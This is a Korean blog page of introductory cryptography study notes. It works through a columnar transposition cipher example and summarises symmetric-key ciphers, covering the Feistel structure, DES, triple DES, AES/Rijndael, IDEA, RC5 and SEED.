키 : 정한 숫자를 내 맘대로 섞은 것
평문 : 키 숫자 수 대로 차례대로 나열
암호문 : 키의 숫자 순서대로 나열

1 3 5 6 7 2 4
c o m m o n s
e n s e i s t
h e b e s t s
e n s e i k n
o w o f a t t

ceheonstktonenwstsntmsbsomeeefoisia

전치 암호기법은 두 단계 이상의 전치를 행함으로써 더 안전성을 높일 수
있다.

 

반응형

'암호학' 카테고리의 다른 글

세션키 분배  (0) 2022.12.27
4. 키관리  (0) 2022.12.27
2. 비밀키  (0) 2022.12.08
반응형

 

비밀키 암호란?

대칭 키로써 하나의 키를 사용하는 시스템이다.

 

장점 : 다양한 알고리즘 개발과 알고리즘 수행속도가 빠르다.

 

단점 : 키가 하나이기 때문에 책임추정성이 없다.
          키 관리와 키 분배가 어렵다.
          디지털 서명이 어렵다.

 

Feistel 암호

 

별도의 복호화 과정이 불필요
블록 암호의 대표적인 구조
Li=Ri-1, Ri=Li-1 XOR 
F(Ri-1)
라운드 함수와 무관하게 복호


화가 됨
구조적인 취약점이 발견되지
않음
취약한 라운드 함수를 반복적
으로 사용함으로 강한 암호를
설계
암호화와 복호화가 동일

 

대칭키 암호의 종류로는 DES, AES, IDEA, SEED, RC4 등이 있다.

 

DES ( Data Encryption Standard)

IBM에서 Lucifer System을 개선하여 만들었다.

1977년 미 상무성의 국립 표준국(NBS)에서 표준 암호 알고
리즘으로 채택
암호화 키(Encryption key) = 복호화 키(Decryption key)
대칭키 암호 시스템, 단일키 암호 시스템, 관용 암호 방식
혼합(confusion), 확산(Diffusion)을 이용 원문과 암호문 간에 통계적 연관을 감춘다.

 

64비트 블록 암호 알고리즘으로 입력 메시지를 64비트씩 나누어 처리한다.

56비트 키를 사용하고 64비트 중 8비트는 Parity check로 사용한다.

 

기본 구조

round 수 : 16 round

복호화는 암호화의 역순

 

 

 

DES의 작동모드 - 3중 DES

 

DES의 brute-force공격에 대한 취약성을 보완

- 새로운 알고리즘 개발 : IDEA (128 bit 키 사용)

- DES의 응용 : 3중 DES, 2중 DES

 

3중 DES

- 2개의 키를 사용

- 암호화 : 암호화, 복호화, 암호화

- brute-force 공격에 DES보다 강함

 

암호화 복호화 과정

 

 

추가된 암호 알고리즘

 

AES (Advanced Encryption Standard)

- DES를 대체하기 위한 표준암호 알고리즘
- 리인델(Rijndael), 투피쉬(Twofish), 서펀트(Serpent), 
- MARS 등이 2차 선정 (2000)
- 2000년 10월2일 리인델이 AES로 선정

 

Rijndael

- 128,192,256 bit의 다양한 길이의 키를 사용

- 알려진 모든 공격에 대응 가능

- 스마트 카드상의 컴팩트한 보조 프로세서(PDA) 등에 이용 가능

 

IDEA (International Data Encryption Algorithm)

- 국제 데이터 암호 알고리즘

- 64bit 평문 블록에서 128bit 키를 이용 작동

- 8라운드로 작동

- PGP (Pretty Good Privacy)의 메일 시스템에 이용

 

RC5

- 32,64,128비트 블록 사이즈를 이용

- 0에서 255까지 다양한 라운드 사용

- 0에서 2048비트까지의 키를 이용

 

SEED

- 한국 정보보호 센터에서 1999년 2월 개발

- 128비트 평문 블록에서 128비트 키를 이용 작동

- 16라운드로 작동

- G 함수가 사용된다.

 

반응형

'암호학' 카테고리의 다른 글

세션키 분배  (0) 2022.12.27
4. 키관리  (0) 2022.12.27
1. 암호의 개념과 고전  (0) 2022.12.08

+ Recent posts